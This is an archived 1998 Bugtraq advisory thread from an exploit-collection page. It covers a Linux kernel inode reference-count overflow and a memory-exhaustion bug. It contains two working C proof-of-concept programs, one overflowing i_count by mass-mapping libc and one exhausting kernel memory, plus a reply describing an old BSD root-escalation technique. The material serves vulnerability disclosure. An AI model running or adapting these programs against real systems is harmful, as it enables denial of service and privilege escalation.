inode count integer overflow in Linux kernel
Description: | Member i_count in struct inode of the Linux kernel is an unsigned short, which can be overflowed by mapping one file more than 65535 times. |
Author: | <Jan.Kotas@acm.org> |
Compromise: | root (local) |
Vulnerable Systems: | Linux, probably versions up to 2.0.31 (or so) |
Date: | 14 January 1998 |
Date: Wed, 14 Jan 1998 10:21:39 -0600
From: Aleph One <aleph1@DFW.DFW.NET>
To: BUGTRAQ@NETSPACE.ORG
Subject: Linux inode.i_count overflow
http://www.ms.mff.cuni.cz/~jkot2155/linuxbug.html
While I was working on my master thesis (Emulation of [1]Classic
Operating Systems in [2]Distributed Environment), I found following
two nasty things in Linux sources:
i_count Overflow Security Hole
Member i_count in struct inode contains the usage count. It is of type
unsigned short, which is only 16-bit long on i386. Unfortunately, it
is not enough. You can make it overflow by mapping one file many
times:
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
void main()
{
int fd, i;
fd = open("/lib/libc.so.5", O_RDONLY);
for(i = 0; i < 65540; i++)
{
mmap((char*)0x50000000 + (0x1000 * i), 0x1000,
PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0);
}
}
Warning: This program will cause unpredictable behavior of the whole
system!!!
While killing this program kernel will print many messages:
VFS: iput: trying to free free inode
After executing the program, there will be free inode which is
actually mapped in other processes. The only think you need to grab
root privileges is opening your modified libc in original inode and
making system to use it. It is a little tricky magic with inode cache
and memory manager. I will not publish it here to avoid misuse of this
security hole.
To fix this bug simply change the i_count type to unsigned long.
Related links
* [3]Reply to my linux-security post
Crashing System by Eating Memory
This topic is related to previous one. The Linux memory manager
allocates small chunk (64 bytes) of memory for every file mapping. By
mapping one file many times, a process can eat all available memory
and actually stop the system responding even for root. You can do it
by executing one or more instances of program like this:
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <stdio.h>
void main()
{
int fd, i;
char *name;
char *address;
name = tmpnam(NULL);
fd = open(name, O_RDWR | O_CREAT);
unlink(name);
address = (char*)0x1000;
for(i = 0; ; i++)
{
/* skip program interpreter */
if(address == (char*)0x08000000) address = (char*)0x09000000;
else
/* skip program itself */
if(address == (char*)0x40000000) address = (char*)0x41000000;
else
/* skip program stack and kernel */
if(address == (char*)0xBF000000) break;
if(mmap(address, 0x1000, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0) == (void*)
-1)
break;
if(!(i&0xFFF)) fprintf(stderr, "%d done\n", i);
address += 0x1000;
}
fprintf(stderr, "%i (%08x) total, press Ctrl+C\n", i, address);
for(;;) pause();
}
Warning: This program will cause unpredictable behavior of the whole
system!!!
Every instance of the program will eat about 32MB of RAM if running in
typical Linux configuration. Although you can avoid users to eat
resources this way by setting resource limits properly this effect can
be considered to be a Linux bug. Linux is protected to avoid
allocating all process slots by normal users. There are reserved
MIN_TASKS_LEFT_FOR_ROOT slots for root. So there should be also
protection to avoid allocating all memory by normal users.
_________________________________________________________________
I am not a Linux expert, so please don't upset if these thinks are
well known. Feel free to send me comments.
[4]Jan.Kotas@acm.org
January 11, 1998
References
1. http://www.linux.org/
2. http://ulita.ms.mff.cuni.cz/pub/t4/
3. http://www.ms.mff.cuni.cz/~jkot2155/linuxbug/wolff.txt.iso-8859-1
4. mailto:Jan.Kotas@acm.org
Date: Wed, 14 Jan 1998 13:02:58 -0800
From: Pete
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: Linux inode.i_count overflow
>http://www.ms.mff.cuni.cz/~jkot2155/linuxbug.html
>
> While I was working on my master thesis (Emulation of [1]Classic
> Operating Systems in [2]Distributed Environment), I found following
> two nasty things in Linux sources:
>
> i_count Overflow Security Hole
>
> Member i_count in struct inode contains the usage count. It is of type
> unsigned short, which is only 16-bit long on i386. Unfortunately, it
> is not enough. You can make it overflow by mapping one file many
> times:
BSD 2.9 (maybe 4.1) had this problem also, in that case the link count
was stored in a u_char, I think. (you needed to fork something line 23
processes or something to do it since the per process file descriptor
table size was significantly smaller then the file's link counter).
It was possible to hack root by opening a file in the / (root)
filesystem till the that files link count was 0 (and thus it was
added to the freelist). Next you would change your password or
finger/gecos info a few times till "your" inode was reallocated
and used for the password file thus leaving you a open file descriptor
to the password file.
Since I do not run Linux I can not test to see if you can do this under Linux
I have some *old* exploit code for this at home on a disconnected
system but since I am on the road I can get to it. I try to remember to
send it to rootshell.com when I get home.
-Pete
The master index of all exploits is available
here (Very large file)
Or you can pick your favorite operating system:
This page is part of Fyodor's exploit
world.
For a free program to automate scanning your network for vulnerable
hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resources: